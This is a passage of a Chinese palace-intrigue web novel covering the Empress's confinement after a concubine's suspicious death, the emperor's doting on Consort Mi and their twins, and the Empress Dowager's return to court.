明裳身?子僵硬,心口发?悸,脊背已生出一层冷汗。她不由攥紧了手心,皇后得到皇子,日后又要如何对付养着皇子的她和张嫔。 …… 至夜,星月稀微,树影婆娑晃动。 乾坤宫内,仍灯火未歇。 李怀修靠着椅背,一手搭到案上,上面展着永州八百里加急的密信,他看过,眉眼沉黑,脸色越来越寒。 殿门推开,全福海回殿通禀,小皇子暂时养在钟粹宫,一切尚好?。罗常在身?死,小皇子又刚刚降生,后宫中张嫔是生养过的人,皇上便下令,先送到钟粹宫中。 不止此事,皇上对罗常在生产有疑,吩咐他去暗中彻查,而全福海将那伺候罗常在的嬷嬷押去慎刑司后,那嬷嬷居然自?尽了,全福海惊觉,此事当真是有人从中下手。 他进殿禀道?:“皇上,三皇子送去钟粹宫,太医看过,身?子尚好?。” 话落,全福海顿了顿,又禀过高嬷嬷自?尽身?死一事。 闻言,李怀修扯扯唇线,对那嬷嬷的死并无?意外。 他沉下眼,“罗常在的死,亦是朕近日倏忽之过。 全福海面容大惊,忙答,“皇上前朝政务琐事尚且应接不暇,怎会时时刻刻看顾后宫?” “生死有命,谁人又知,罗主子会腹中胎儿太大,生产出血?” 李怀修讽笑一声,手心蓦地猛拍一掌御案,惊得全福海扑通跪地,耳边听皇上开口生寒,他心脏吓得几欲跳出嗓子眼儿。 “谁人又知?” 李怀修面容有阴沉的冷意,“朕不知,当真有人有这么?大的胆子!” “他萧家要稳坐后位,不如连朕这把龙椅一同坐了!” 全福海从未见皇上动如此大的怒火,全身?抖如筛糠,一阵心惊胆战,叫苦不迭,连连磕头,“皇上息怒!皇上息怒!” 闻皇上提起萧家,全福海隐隐有所猜测,罗常在之死,怕是有皇后娘娘的手笔。 适才那封信,是从永州八百里加急送入皇宫,太后娘娘正在永州,皇后娘娘当真好?谋算,料想皇上会猜出动手之人,特请了太后娘娘做靠山,却不知皇上坐在这个?位子上,最厌恶皇后娘娘如此行径,又见皇上震怒,只怕会适得其反。 李怀修捻着扳指,冷淡地扫了眼那封密信,“皇后旧疾发?作,暂且在坤宁宫养病。” 皇后娘娘旧疾发?作?全福海讶然,不知皇后娘娘得知皇上这道?旨意,可真的会生出旧疾。 他应声,“奴才这就去传话。” 皇后娘娘旧疾发?作,自?然是无?暇照顾三皇子,皇后娘娘此举,是当真惹怒了皇上。 就是不知,三皇子归处未定,皇上打?算让后宫哪位主子,抚养三皇子。 第086章 第 86 章 坤宁宫 全福海传达了皇上的意思, 又低下眼道:“皇上还命奴才?多说一句,高嬷嬷自尽,交由皇后娘娘处置。” 他没?去看皇后娘娘的脸色, 躬着身子?退出内殿。 待御前的人离开, 殿内气?氛有?一瞬的死寂,文竹面色生白, 道娘娘身子?不适,不必留人伺候,遣退殿内的宫人, 她掩好殿内,再去看娘娘时,惊惶地颤了颤声音,“娘娘!” 皇上不仅没?把三皇子?交由娘娘抚养,还以养病之名, 将娘娘禁足于坤宁宫中。 唯一万幸的事, 娘娘仍旧保着后位。 皇后眼色轻闪, 攥紧的指尖儿倏然松开,她哭笑牵唇,怔然失神地望向窗外月色。 不知过了多久, 她才?动了下僵硬的身子?, “本宫或想到皇上震怒。” “不想,太?后也未能保住本宫。” 文竹不知该如何去回娘娘,只能安抚道:“娘娘仍是皇后,六宫之主。” “皇上下令娘娘禁足,娘娘他日仍有?机会?。” 皇后回神, 指腹抚过鎏金凤鸾护甲,忽然生出一抹讽刺, 她是六宫之主又能如何,这天下是李氏的天下,纵使仰仗太?后姑母,那位想要废她,也不过一道圣旨。 她眸色微顿,宓妃生下一双龙凤胎,便也分去了这宫中一分权势,倘若宓妃再升至贵妃之位,只会?更易让人攀附,宓妃受宠,焉知皇上不会?因此?,而爱屋及乌。 难不成,她当真要败于宓妃之手吗! …… 皇后旧疾发作,六宫事务交由贤妃操持,六宫嫔妃不必去坤宁宫问安,各宫人对此?都有?所疑,昨日罗常在生产,皇后娘娘分明还在缈云坞主持大局,怎么一夜时间就旧疾发作,闭门?不出了,然仅心中有?疑,没?人敢去多问。 永和宫 明裳正在喝羹汤,得知此?信,手中的汤勺倏忽从手中掉落到瓷碗中,她眸色微凝,无心再饮,让宫人将羹汤端出去,心下沉沉,怎会?如此?巧合,皇后第二日毫无征兆地旧疾发作,除却那位的意思,明裳想不出别的原因。 后宫中事,皇上想查,没?人能瞒得过。 珠帘掀开,月香从外面进来,她怀中捧着从内务府拿的络子?。春日尚寒,明裳整日待在殿里,见不得风,闲来无事,便想给两?个孩子?打祈福的络子?。 月香放去床案,挑出要用的金线递给娘娘,内务府大总管待永和宫的人无不恭敬,送来的线缕皆是上乘之品。 她俯身为主子?垫好引枕,想起一事,随口道:“奴婢方才?回宫时,又有?别的主子?打探娘娘的身子?可?否妥当,问奴婢娘娘可?有?闲暇让她们到永和宫探望。” 提到这件事,月香就有?些恼火,以往不见她们对娘娘有?多殷勤,娘娘位低时,也不见有?人为娘娘说话,而今见娘娘生下皇子?,就巴巴地凑过来,不是趋炎附势还能是什么。 她咕哝道:“娘娘如今要静养,她们过来反而扰了娘娘清净。” 明裳如何不知,那些人无非是见她得势,又有?皇嗣,便要寻求于日后的庇护。 这些事,她她现?在也不愿去想,待养好身子?再去烦心吧。 …… 春日匆匆,时至暑夏。 这日,李怀修处理过政事,去了永和宫看那女?子?。 他进殿时,里面有?说有?笑。 李怀修抬手示意,没?让人进去通禀,他一手背于身后,绕过屏风,内殿里,那女?子?正半倚着身子?,纤细的指尖儿挑着金线,她似乎很喜欢打络子?,又快又好,伺候她的宫女?几?乎跟不上她的动作。 他转了转扳指,跨进内殿。 一番动静,终于引得那女?子?注意。 宫人们忙屈身福礼,明裳身子?不便,只坐直了,眼眸弯如弦月,“皇上快来看臣妾给两?个孩子?做的平安结。待臣妾打好了,挂到床头,佑他们平安顺遂。” 李怀修见她一脸喜悦,抬步走过去看,伺候的宫人无声退下,他到床榻边,坐到这人身侧。 这女?子?一双手灵活,打得络子?确实?不输于宫中绣娘。他不由想起这人将她打的络子?还送过景和宝珠,甚至也送给了张嫔,李怀修眼光淡下来,不咸不淡地问她,“这是做给安儿的?” 永安是李怀修赐给她们女?儿的封号,取一世永安之意。原本李怀修想给他们女?儿取更为华贵的册封,但这女?子?与她说,不求荣华富贵,只愿女?儿一世永安,顺遂无虞。 李怀修便遂了她的心思,取字永安,乳名安儿。轮到取他们儿子的名字时,这女子也弄这些歪道理,要唤他们儿子?穗儿,说什么取岁岁长安之意,永安尚可?,但要用“穗儿”此?名,李怀修坚决不能忍了,矢口否决,两?人争执不下,故而到现在还未给他们儿子取出名字。 明裳毫无察觉男人又一次变化的脸色,还在兴致勃勃地摆弄发问,“臣妾拆又编,全不觉得满意,直到手中这一个觉得尚可?,皇上瞧瞧如何?” “臣妾可?是心灵手巧?” 心灵手巧? 李怀修眼一眯,便伸手掐住那女?子?的小脸,拉下脸,语气?凉飕飕的,“你就会?对旁人心灵手巧?” 男人脸色有些吓人。 明裳那张脸都要被掐红了,极为无辜,含糊不清地咕哝道:“黄胖快放猜臣妾……” 委实?可?爱。 李怀修想笑,又忍住不让这人得寸进尺,多捏了一把,放下手。 听那女?子?又道:“这不是别人啊,安儿和穗儿不都是皇上的孩子?嘛!” 李怀修骤然黑脸,“虞明裳,朕警告你,朕的儿子?绝不准唤这个名字。” 明裳“哦”了声,可?听不改,她觑着男人脸色,忽然意识到什么,眸子?一转,蹭蹭身子?,环住男人的后颈,娇声,“臣妾明白了。” “皇上是嫉妒两?个孩子?都有?臣妾亲手打的平安结,而皇上没?有?。” 李怀修拧眉,推开她的脸,“胡说,朕堂堂一国?之君,为何要你的络子??” 明裳下巴垫到男人手心,脸蛋殷红如霞,“因为是臣妾亲手打的,有?臣妾的一片心意,皇上也想要!” “呵!”李怀修嗤笑,斜睨她一眼,“别给自己脸上贴金。” 话虽如此?,却没?再推开怀中女?子?,他搂着人,没?再理会?她手中摆弄的东西,问她身子?可?好些了?其实?已经将过去三月,好上许多了。明裳刚要点头,忽然想到什么,她红脸生羞,“好些了。” 李怀修眼盯着她的脸蛋,只见这人越来越红,问她脸红什么。明裳偷瞄眼男人,“嬷嬷没?禀给皇上吗?” 禀他什么? 李怀修挑眉,倏然间想起一事,反应过来,他眼光下移,那女?子?则直接以手挡住了男人的眼睛,气?呼呼的,“皇上不许看!” 李怀修失笑,没?轻易移开,任由她胡闹,只不徐不疾地开口,“捂什么,朕又不是没?看过。” 因为这句话,明裳浑身雪白的肤几?近冒出绯红,她噌地拿开小手,恼羞成怒地转过身子?,不理男人,“臣妾要休息了,皇上还是回乾坤宫看折子?吧!” 那人背对着他,只给他留了一个黑乎乎的发顶。 这般的小性子?,哪有?当娘的样子?,李怀修日后要养着她们娘仨儿,日日闹得鸡飞狗跳,可?有?的好受。 他揉揉太?阳穴,想到从乾坤宫过来时,正有?宫人通禀,倒真起了身子?,他一动,那女?子?脸蛋又转过来,见他当真要走,又开始委屈上,揪住他的衣袖,“皇上要去哪?” 李怀修确实?还有?事,他大半的心神耗费在处理政务上,国?事桩桩件件,且分身乏术,能分给这女?子?的并不多。 他道:“朕后午还要见两?个朝臣。” 闻言,明裳小脸微垮,眸色落寞下来,有?点失望,但她没?敢再耍小性子?,让这位不喜,松了手,规规矩矩地小声,“臣妾恭送皇上。” 李怀修看出她眼底失落,捻了捻扳指,想说什么,终是没?有?开口,拂袖出了内殿。 这女?子?懂事,知晓什么时候跟他闹腾,什么时候又能规规矩矩不去扰他。 李怀修乘上銮舆,望一眼那扇小窗,吩咐宫人起驾。 …… 圣驾离开,明裳朝那窗子?眼巴巴地看了会?儿,离得太?远,看不出什么,良久,耳边听到送驾宫人回殿的动静,清楚那位是真的走了,她瘪瘪嘴,对那位的没?心软再多陪她一会?儿,颇为不满。她在永和宫养身子?这段日子?,那位其实?很少有?时间过来。 她知晓,那位坐拥的是大魏江山,不能将心神都费在她一人身上。 她也从未想过,皇上会?日日围着她转,相?伴的日子?久了,难免乏味烦闷,相?看两?厌,眼下的境况正合她心意,她没?必要为一时圣宠,而顾此?失彼。 珠帘掀开,乳母抱着醒了的两?个小团子?进殿,三个月,那皱巴巴的脸蛋终于长开,明裳欣慰的是,幸而女?儿眉眼是像了她,儿子?倒像那位,她亲亲女?儿的脸蛋,又摸摸儿子?的小手,怎么看都看不够。不由感慨,分明觉得自己昨日还在闺中与娘亲撒娇,转眼自己也要有?女?儿与自己撒娇了。 乳母在一旁添喜道:“皇子?公主都极为懂事,不哭不闹,娘娘着实?有?福气?!” 另一乳母也跟着附和,“是啊,是啊,奴婢瞧着皇子?公主相?貌不俗,必然是聪慧福临之相?!” 两?个小团子?醒着,睁着乌溜溜的眼珠好奇地望着娘亲,明裳捏捏女?儿又捏捏儿子?,方抬了眼,“两?位嬷嬷照顾皇子?公主也辛苦了。” 她侧过脸,对绘如道:“取本宫匣子?里那对儿金钗,赐给两?位嬷嬷。” 宓妃娘娘的金钗自然价值不菲,两?乳母对视一眼,喜不自胜地跪下身子?,“奴婢谢娘娘赏赐!” …… 李怀修确实?没?骗那女?子?,到永和宫还未见到两?个孩子?,就要忙着回去。 待至宫门?落锁,他才?禀退殿内的朝臣,他靠着椅背,疲累地捏了捏眉心。 案上奉了一盏茶水,全福海小心翼翼地躬下身子?,将手中捧着的那封信笺呈上,禀话,“皇上,永州来信了。” 自打皇后娘娘旧疾复发,软禁坤宁宫,皇上命他往永州给太?后娘娘送了信。 先帝之时,太?后娘娘并不甚得荣宠,因算得皇上天命之尊,太?后娘娘就将所有?期望都寄托到了皇上身上。 潜邸时,皇上要纳丽妃为正妃,不得已为太?后母族,与皇后娘娘结发。说起来,皇上与太?后娘娘的母子?情谊,在外人眼中,自然是母慈子?孝。 可?全福海伺候皇上这么多年,也渐渐看清,便也明白,为何说皇上是帝王之相?。皇上的处政手段,素来杀伐果断,不讲任何情面,即便那人是自己的血脉至亲。所谓母慈子?孝,不过是旁人眼里的母慈子?孝。自古以来,历代圣明之君都是孤家寡人,有?何真情。 全福海不由感慨,这个位子?千万人争得,千万人中又有?几?人能真正做得。 他低下头,不敢再继续深想。 李怀修打开那封信,脸上没?什么情绪,“去知会?贤妃一声,让六宫准备着,母后要回宫了。” 太?后娘娘要回宫了? 全福海压住心里的震惊,应过皇上的吩咐,又问,“皇后娘娘那处,奴才?可?要去通传?” 太?后娘娘回宫,皇后娘娘总不能继续禁足在坤宁宫。 不想,全福海仍是摸不清皇上的心思。 李怀修把玩着拇指的扳指,递他一眼,“皇后旧疾未愈,在坤宁宫养病,不必接迎。” 全福海惊讶地领了吩咐,躬身退殿时,忍不住瞄了眼预案上那封书信。 …… 翌日,贤妃得了吩咐,召六宫嫔妃于景平宫中传达皇上的意思。 听闻太?后要回宫中,嫔妃们无不讶异,舒美人抿着茶水,看向贤妃,柔声问道:“不知太?后娘娘哪日到上京,嫔妾等也好准备。” 贤妃手腕搭着凭几?,含笑,“本宫只知晓就在下月中旬,尚且不知是何日,待得了确切消息,再告知各位妹妹们。” 嫔妃中,张嫔敏锐地抓住贤妃话里的意思,是贤妃相?告,召见六宫嫔妃,而不是皇后。 她微眯起眼,罗常在生产离世后,皇后忽然旧疾复发,在坤宁宫中养病,算来已经有?三月。皇后平时虽有?头疾,症状也不至于如此?严重。皇后倒底是因旧疾养病,还是不得已被软禁至此?。 张嫔与明裳想的一样,都注意到了这一点。 贤妃笑着饮茶,眼光朝张嫔看去,“张嫔妹妹与宓妃交好,宓妃处就由张嫔去告知一声。” 被指到,张嫔屈身应下。 她从景平宫中出来,就立即去了永和宫。 彼时明裳才?用过早膳,扶着宫人坐回床榻,她身子?养好许多,许是娇弱,一有?大的动作,身下仍是会?有?些不适。 殿外宫人通传张嫔娘娘求见,明裳诧异张嫔这么早过来,不由思忖一番,难不成是后宫出了什么事? 她敛下心思,没?让张嫔多等,吩咐宫人请张嫔进殿。 如今明裳正在永和宫养着身子?,两?耳不闻窗外事,张嫔进殿,就见宫人低头送出早膳,时辰已是不早,宓妃居然此?时才?用早膳,她不禁艳羡起宓妃的清闲。 入殿后,张嫔福了身子?,坐到圆凳上,也未多绕圈子?,“今日过来,嫔妾确有?要事说给娘娘。” 明裳见张嫔眉心蹙紧,也生出凝重之色,“是六宫又出了什么事?” 闻言,张嫔先是摇头,继续道:“倒不是六宫之事。” “一大早,贤妃就召见了各宫嫔妃,告知各宫,待下个月中旬,太?后娘娘就要从永州回宫了。” 明裳微顿,柳眉随之蹙紧,眼底闪过一抹讶色,“太?后娘娘?” 她想过莫不是六宫嫔妃又生出什么事端,或是哪位皇子?公主出事,不想居然是宫外的太?后娘娘。 “听闻太?后娘娘是皇后娘娘姑母。” 提起皇后,两?人对视一眼,彼此?若有?所感,只是并未挑明。 张嫔轻轻点头,“潜邸之时,嫔妾有?幸得见过尚是萧妃的太?后娘娘。” 她眼中回忆,“太?后娘娘为人宽和,从不重责下面的人,只是……” 她话音顿住,看向明裳时,眼底闪过一丝忧色,明裳觉得张嫔的眼神有?些奇怪,她摸了摸脸,“是我有?何不妥吗?” 张嫔摇头,她不知该如何说起,只是不知是不是她的错觉,潜邸之时,她与柳侧妃交好,因而得知,太?后为人宽和,唯对柳侧妃言语间有?不动声色的敲打,柳侧妃性子?纯善单纯,反倒未有?所察觉。 她想了想,只道:“太?后娘娘回宫,若无必须,娘娘最好不去寿康宫。” 明裳眼眸微动,似乎意识到了什么。 当夜,圣驾到永和宫。 李怀修问她可?知太?后下月回宫之事,明裳点头应话,她从男人怀中仰起脸蛋,眉眼挂着担忧,李怀修以为这女?子?要问他什么要紧事,不想听这人开口便软乎乎地与他耳语,“太?后娘娘回宫后,臣妾是不是就不能再这样缠着皇上了?” 那双水盈盈的眸中漫上忧色,原来是担忧这种事。 李怀修抓住那只戳他喉骨的柔荑,喉结滚了下,轻嗤,“母后住在寿康宫,又不是日日在这盯着朕和你,如何不能再缠着朕?” 话音顿了下,李怀修才?反应过来,这女?子?是在套他的话,那人望着一脸得逞的小模样,还假模假样地娇滴滴,“原来皇上喜欢臣妾缠着皇上。” 李怀修顿时头疼,他屈指敲了下这人的额头,训她,“当娘的人,规矩些。” 两?个小团子?睡醒了,乳母抱着皇子?公主进殿,两?人怀里一人抱了一个,李怀修另一只手臂还要负责抱这女?子?。 明裳戳了戳女?儿的脸蛋,小安儿就睁了眼珠,先看看母妃,又看看父皇,不知是见到什么有?趣,张开小嘴咯咯笑起来。 女?儿爱笑,儿子?却总是硬邦邦的一张小脸,明裳不由抱怨,“定是像了皇上,臣妾怎么逗他,他都不笑。” 那女?子?在自己怀里一面逗着两?个孩子?,一面嘀嘀咕咕,李怀修目光从孩子?身上,移向那女?子?,那张雪白的小脸因养尊处优,过得太?好,嫩如豆腐,白里透红。又到夏日,她换了薄衫,春色风光饱满丰腴,隐约入目,他眸色稍暗,抬手吩咐宫人把皇子?公主抱下去。明裳转过头,不解男人的意思,一脸疑惑莫名,她不满地咬唇,“皇上做什么?臣妾还没?看够呢?” 李怀修盯着这张脸,轻捻扳指,稍许移开眼,压下方才?生出的念头。 偏生这女?子?不知好歹,娇声在他怀中胡闹。李怀修忍了忍,仍是没?忍住,钳住这人的下颌,低头含住了那双柔嫩如水的唇瓣。 男人呼吸很重,明裳愣了下,急得要把人推开,那双手臂禁锢着她,犹如烙铁,李怀修轻而易举地探进对襟把玩,手掌微凉,感受到怀中女?子?的身子?在轻轻发抖,李怀修抿唇,念及她身子?尚且不宜侍寝,止住了动作,只是手掌仍托着那处。他低目,入眼就是这女?子?无边的媚色。 男人狭长的丹凤眼微微眯起,“还敢不敢闹朕了?” 明裳咬唇,水眸沾湿了春意,她埋在男人怀里抬不起头,“皇上就会?欺负臣妾。” 李怀修手掌流连,并未拿开,眼目如黑,亦生出几?分荒唐之感。 他深知女?色最为惑人,眼前之事,于他而言,当真荒唐。 明裳面颊滚烫,伏在男人怀里,娇气?地唤了声,“皇上。”又推了把男人胸膛,几?近恼羞成怒。 李怀修指腹慢条斯理,良久才?拿开,那人从他怀中仰起脸蛋,美眸嗔恼地瞪他,好似颇有?威慑。 他捏一把那张脸蛋,“瞪朕做甚?” 明裳咕哝,“皇上明知故问。” 李怀修揽人在怀,颇为享受这女?子?与他耍的小脾气?,眼底划过一抹柔笑,他温声哄道:“即便母后回宫,你也不必担心,有?朕在,不会?让你委屈。” …… 当夜,圣驾回乾坤宫后,李怀修唤来全福海,取纸笔研磨。 落笔间,李怀修为二皇子?取字“绥”。 非穗而绥 李怀修撂了笔,将拟好的圣旨拿给全福海,他走下御阶,全福海躬身接过跟在皇上后面,他只见皇上提笔写字,不知在写什么,多嘴问道:“皇上,奴才?愚钝,这是……” 槅窗之外,月隐云疏。 李怀修负手立于窗边,目光自远眺望,“《民劳》有?云,‘民亦劳止,汔可?小康;惠此?中国?,以绥四方。’” “朕欲为二子?名取绥字,你以为如何。” 牵涉皇子?,全福海可?不敢多言,他手心抖了下,面色惶恐,“皇上折煞奴才?,奴才?只知伺候皇上,哪懂这些文家大作!” 第087章 第 87 章 全福海心知肚明, 皇上不过随口?一问?,他哪有?那个胆子?去揣测皇上的心思。 …… 去年时夏,各宫前去行?宫避暑, 今年因太?后娘娘将?要?回宫, 没再大动干戈。 御前的旨意传下,明裳含着“绥”字, 不解皇上取名的深意,斟酌数月,总不能是随意而起。 她抱起仍旧不给她小脸的小团子?, 逗弄两下,又嘀咕道:“绥与穗有?何不同。” 安儿见她只包着哥哥,小嘴一撇,哇的一声作势要?哭,小团子?还不会说话呢, 倒是把撒娇卖乖学得好, 当真随了她的性?子?。明裳这才知晓, 那位见她瘪嘴时有?多头疼,她不得已放下绥儿去抱安儿,轻拍了拍安儿的后背, 小安儿见母妃抱了她, 哭声止住,破涕为笑,咯咯地望着母妃。 小绥儿躺在一旁,对妹妹的争宠视若无睹,只睁着乌溜溜地眼珠, 望着面?庞覆着晕黄日?光,眉眼温柔无比的母妃。 又过半月, 明裳身子?得以养好,皇后尚在坤宁宫静养,她也不必前去问?安。 待让乳母抱去了两个小团子?,她迫不及待坐到妆镜前,唤来宫人上妆,久不出永和宫,她当真要?憋闷坏了。 辛柳见娘娘着急,忍不住笑,“娘娘别?急,左右这御花园又不会自己长腿跑了。” 听辛柳揶揄自己,明裳美眸斜嗔一瞬,“你们不似我日?日?闷着,自然不知晓有?多无趣。” 女子?生产着实是要?受罪,先是怀胎十月的辛苦,生产时痛得她几乎以为自己要?没命,生产后还不能吹风,日?日?在殿内养身子?,好生难受。她都忍不住心疼自己。 按道理说两月前明裳就能出永和宫,但太?医诊过她脉象,委婉道多养两月,明裳不得已,就等到到今日?。 她许久没出永和宫,在十匣妆奁中挑拣,择出一支金累丝嵌红宝石海棠步摇,对着妆镜,在发鬓角照了又照,簪入前髻中,红宝石光彩夺目,十分衬她颜色。 月香忍不住夸赞,“奴婢前几日?学书,知晓沉鱼落雁闭月羞花之语,奴婢所见人中,唯有?娘娘容色堪配这样的美词!” 这丫头小嘴是越来越甜了。 明裳对镜捏了捏脸蛋,没觉出有?甚趣味,也不知那位为何颇喜欢捏她。 她描过妆容,换上一袭内务府新裁的襦裙,乘上仪仗,去了御花园。 月香为她打伞遮阳,明裳兴致勃勃地去摘园中的玫瑰花,做香引子?。路上遇见两个低位的嫔妃,她们许久没见到生产过的宓妃娘娘,一时微怔,须臾反应过来,紧快屈下身子?,问?宓妃娘娘金安。 明裳见这二人面?生,没多加在意,随口?让她们起来。 那两人没立即离开,其中一人凑上前,似有?意示好,“今儿日?头大,这处的玫瑰受过烈日?,难免失了水汽而干瘪。西苑荫蔽,娘娘需要?制香,不如去西苑采摘。” 明裳动作微顿,指尖将?最后一朵花瓣放入篮中,直起身子?,去看那说话的嫔妃。 “你也懂香?” 见宓妃娘娘与她说话,陆宝林受宠若惊,“嫔妾喜好翻看闲书,偶然得知,不比宓妃娘娘精益。” 陆宝林实在会说话,这番自谦恭迎,换作谁听了都会喜欢。 明裳点了点头,受下她这番好意,“本宫知道了。” 她没有?再说下去的意思,陆宝林何尝听不出,她屈身,懂事地告退离开。 御花园西苑僻静,鲜少有?人,明裳前去时,耳边听见湖中流水,林中鸟鸣之声。 西苑壁下,养着大片似血殷红的玫瑰,明裳提裙走了两步,又隐约听见好似有?人说话。 她抬眼,先看到一袭玄色龙纹常服,男人面?容冷峻,正与落后半步的朝臣议事。 明裳惊讶地睁了睁眸子?,避无可避,只 能硬着头皮屈膝做礼。 听闻有?女声,李怀修掀起眼,见是那女子?,他眉宇微动,伸手扶起人,正欲问?她,目光现在这人鬓间?的步摇停留一瞬,又盯了眼这张薄粉敷面?的脸蛋,沉了脸色,“身子?好了?” 明裳低眉顺眼,自然也看不清男人神情,柔声答,“太?医看过,臣妾已经可以出永和宫了。” 她在想,皇上身后跟着的人是谁,前朝又能有?谁,可以随皇上在御花园走动。 男人颀长的身形遮挡住了前面?的女子?,李怀洲方?才与皇兄言谈说话间?,不经意先看到前面?提裙而来的人,女子?风髻雾鬓,肌肤如雪,有?沉鱼落雁之玉貌,他倏然移开了目光,已猜到几分这女子?的身份,能出现在皇兄宫中,且不着宫女衣着,自然是皇兄后宫的哪位妃嫔。 听闻六宫中宓妃娘娘最得圣心,想必这位便是宓妃娘娘。 李怀洲他躬着身子?,有?眼色地上前,“臣弟已知皇上的意思,臣弟这就出宫去办。” 他没抬头,得皇兄吩咐,转身提步,离开前,耳边听皇兄厉声训斥那女子?,“日?后没朕准允,不许到西苑……” 李怀洲边走,忍不住留心一眼,他深知皇兄性?子?,皇兄身居帝位,即便是训诫他,也带着几分为君者的威仪,他从没听过,皇上用这种态度与旁人说过话。 那厢明裳仍旧无辜,她不觉自己何处做错了,就被男人不由分说训了一通,她红着眼,拉了拉男人的衣袖,“臣妾知错,皇上别?说了……” 李怀修才不轻信这女子一味地与他卖可怜,他拍开那只小手,又见她这副楚楚可怜,惹人怜爱的模样,就一阵头疼。 至夜,宓妃身子?好后,圣驾去了永和宫。 殿内,李怀修抬起女子?的小腿,腰身重重一沉,他眉宇带着惩戒,“日?后只准在朕面?前打扮得花枝招展。” 明裳毫无准备,仿若溺水浮萍,她委屈地咬唇,别?过脸,偏生不去应,她哭哭啼啼道:“臣妾又没做错什么?,皇上就欺负臣妾。” 李怀修没心软,他也说不清为什么?,唯有?这女子?,让他克制不住想占为私有?,恨不得圈在这永和宫中,只准对自己笑,对自己哭。这种强烈的念头几欲胜过了他对江山掌控的欲望。 他脸色沉下来,不想让这女子?看出自己此时生出的心念,她这样最好,懵懂无知,只会温顺懂事,撒娇卖乖地讨他欢心。 李怀修从不是什么?正人君子?,他能坐在这个位子?上,所用的手段也并非都是光彩。 衣摆堆积到女子?的腰际,女子?鬓间?那只金累丝嵌红宝石海棠步摇晃晃,更添媚色。 幸而翌日?不用去坤宁宫问?安,明裳得以睡到晌午,她疲累地睁开眸子?,身下一动,那处就酸得厉害。她不解,那位好似不知生了什么?气,有?意欺负她。 …… 李怀修很?早出了永和宫,他坐上銮驾,全福海见皇上看不到,才偷偷打了哈欠,不知宓妃娘娘又怎么?招惹了皇上,昨夜他们这些?奴才伺候水就伺候到了后半夜,又一想,皇上数月未进后宫,正值壮年,血气方?刚,想来也正意味着皇上龙体强健,他伺候在御前,该高兴才是。 一月后,太?后回宫那日?,一早安儿哭个不停,明裳抱在怀里哄着,望着女儿哭的发红的脸蛋,心里泛出密密麻麻的疼意。 辛柳眼底着急,“娘娘,不如将?公主交给乳母去哄,今日?太?后娘娘回宫,娘娘不去接迎,恐有?不妥。” 不知情的人,怕是要?以为娘娘恃宠而骄,故意以公主哭闹为由托大,眼下尚且不明太?后娘娘的态度,娘娘留于永和宫,岂不是下了太?后娘娘的脸面?,日?后怕是太?后娘娘会为难于娘娘。 明裳何尝不清楚这些?,但安儿一早不知怎的了,但凡离开她,就哭个不止。 她叹息一声,“罢了,本宫抱着安儿去。” 今日?太?后回宫,衣着穿妃制吉服,描大妆,明裳对镜照了照自己这张脸,吩咐梳妆的宫人挑拣素色为她打扮。她不知太?后喜好,在太?后面?前,总不能像服侍那位一样妆扮得花枝招展。 迎太?后入宫,不止有?六宫四品以上的嫔妃,还有?前朝大臣,位列于右位一侧,大监在台上唱礼,是日?日?华耀目,只见宫门大开,有?一队仪仗声势浩荡地驶入皇城。随着大监唱礼之声,众人随之跪拜,恭迎太?后。 太?后身着金松鹤纹礼服,面?容望着皇城众人,慈祥含笑地点了点头,道过免礼。她由宫人亲自相扶,步上台阶时,当今皇帝上前,去扶生母太?后。 在场跪拜之人这才起身,明裳这时注意到,即便是太?后回宫,皇后仍在坤宁宫养着旧疾。 太?后步上台阶,也看清,迎驾的六宫之中,不见皇后,她侧面?与皇帝道:“哀家听闻皇后身子?不适,如今可有?见好?” 李怀修面?不改色,冠冕衮服,尤有?帝王气度,“皇后已有?渐好,因吹不得风,朕允她在坤宁宫静养。” 算至永州送出的那封信,至今已有?四月,皇后有?何旧疾,四月也不见养好身子?。 太?后深知自己儿子?的性?子?,叹息一声,只道:“既是吹不得风,静养些?时日?也好。” 李怀修含笑应是,神情如常,叫人无法看透。 当年太?后离宫,也是情势所迫,她早知这个儿子?对自己参与朝政心生不满,她所求皆被不动声色地挡了回去,她生养出一个皇帝,却也知他羽翼渐丰,不愿受人掣肘,即便她这个母后,也无法约束。 各宫嫔妃一一与她见礼,太?后道免礼,她目光扫过六宫眼生的面?孔,停在中间?靠左抱着稚子?的女子?身上,女子?面?若软玉,即便在一众争妍斗艳的嫔妃之中,着素衣也格外出挑。 “这便是哀家的小皇孙吗?” 明裳垂眼上前福身,规矩地柔声,“臣妾虞氏请太?后娘娘安,永安公主黏着臣妾,不得已由臣妾亲自抱着,请太?后娘娘恕罪。” 身后跟着的乳母将?二皇子?抱上前,太?后眼光在宓妃的脸上停留一瞬,眸色几许赞扬地点了点头,这宓妃的性?子?还算规矩。 她虽不在宫中,并非全然不知宫中之事。皇后与她的书信中,几处隐约所言宓妃得宠之盛,她也不是全信皇后之语。自己侄女的性?子?,她最是清楚。宓妃并皇后口?中那样非恃宠而骄之人,可得皇帝盛宠太?厚,也绝非好事。 太?后刚要?开口?,就见旁边扶她的皇帝不动声色抬手让宓妃起身,又轻描淡写地移开话头,“今日?日?头大,母后一路颠簸劳累,朕让他们散了,请母后回寿康宫歇息。” 她确实有?心压压宓妃的荣宠,没有?立即开口?让她起来,自己的儿子?居然这般委屈都舍不得让宓妃去受,她不由拧眉。 恭迎太?后的仪仗散去,六宫嫔妃随着太?后,去了寿康宫问?安。 皇后旧疾复发之后,六宫事务交由贤妃打理,太?后的寿康宫也是贤妃亲自吩咐宫人修缮清扫,太?后满意地点头,夸赞贤妃两句,贤妃福身谢话,又默默退到后面?,她看得清自己的身份,太?后对她不过是客套之语,这后宫还是要?皇后做主。 到寿康宫后,六宫嫔妃带着皇子?公主再次见礼问?安,张嫔一人带两位皇子?,大皇子?已经会走,太?后抱着孙儿,脸上露出和悦的笑容,宝珠由嬷嬷领着,进殿拜见皇祖母。她幼时宫中只有?她一个公主,皇祖母十分喜爱她,时隔多年,宝珠不记得幼时之事,对忽然出现的皇祖母有?些?眼生,她上前,脆着声音,端端正正地福了礼,“宝珠请皇祖母安。” 这时,服侍在太?后身侧的女子?先开了口?,“这便是太?后娘娘常挂在嘴边的宝珠公主吧,月儿瞧着,可是与太?后娘娘口?中的公主长大许多了。” 在场之人方?才注意到那女子?,看服饰不像是伺候的宫人。太?后摇头点了点女子?的眉心,“没大没小的,哀家教你宫中的规矩,这时却是忘了。” 太?后转过脸,看向众人,“这是永州太?守之女赵月儿,哀家在永州时常伴哀家身侧。” 永州太?守之女,进宫又是为何? 没人去问?这个问?题。 赵月儿笑意盈盈与六宫嫔妃见礼,落落大方?,不见生怯。 太?后回宫这日?,因后宫中皇子?公主,心绪尚佳。 